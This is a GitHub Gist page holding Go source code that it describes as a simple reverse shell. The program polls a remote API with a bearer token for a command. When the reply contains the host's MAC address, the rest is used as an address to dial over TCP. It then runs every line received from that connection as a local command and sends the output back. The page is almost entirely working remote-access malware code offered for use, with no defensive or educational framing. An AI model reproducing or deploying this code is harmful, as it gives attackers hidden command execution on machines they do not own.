Skip to content

Instantly share code, notes, and snippets.

@seeya
Created September 25, 2020 09:29
Show Gist options
  • Save seeya/be7bef105e0b2342be080b6de805f80d to your computer and use it in GitHub Desktop.
Save seeya/be7bef105e0b2342be080b6de805f80d to your computer and use it in GitHub Desktop.
A simple reverse shell using netcat. https://github.com/seeya/GoReverseShell
package main
import (
"bufio"
"io/ioutil"
"log"
"net"
"net/http"
"os"
"os/exec"
"strings"
)
func getMacAddr() ([]string, error) {
ifas, err := net.Interfaces()
if err != nil {
return nil, err
}
var as []string
for _, ifa := range ifas {
if ifa.Name == "wlan0" || ifa.Name == "eth0" || ifa.Name == "en0" {
log.Println(ifa.Name)
a := ifa.HardwareAddr.String()
if a != "" {
as = append(as, a)
}
}
}
return as, nil
}
func pollCommand(api string, token string) string {
client := &http.Client{}
req, _ := http.NewRequest("GET", api, nil)
req.Header.Set("Authorization", "Bearer "+token)
resp, _ := client.Do(req)
defer resp.Body.Close()
body, _ := ioutil.ReadAll(resp.Body)
log.Printf("API: " + string(body))
return string(body)
}
func checkBinExists(bin string) bool {
_, err := exec.LookPath(bin)
if err != nil {
return false
}
return true
}
func main() {
as, _ := getMacAddr()
log.Printf("MAC:" + as[0])
command := pollCommand(os.Args[1], os.Args[2])
if strings.Contains(command, as[0]) {
app := strings.Replace(command, as[0], "", -1)
connection, err := net.Dial("tcp", app)
if err != nil {
if nil != connection {
connection.Close()
}
}
for {
remoteCommands, _ := bufio.NewReader(connection).ReadString('\n')
args := strings.Fields(strings.TrimSuffix(remoteCommands, "\n"))
if checkBinExists(args[0]) {
cmd := exec.Command(args[0], args[1:]...)
pipe, _ := cmd.StdoutPipe()
if err := cmd.Start(); err != nil {
log.Fatal(err)
}
reader := bufio.NewReader(pipe)
line, err := reader.ReadString('\n')
for err == nil {
line, err = reader.ReadString('\n')
log.Printf(line)
connection.Write([]byte(line))
}
} else {
connection.Write([]byte("Command does not exist\n"))
}
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment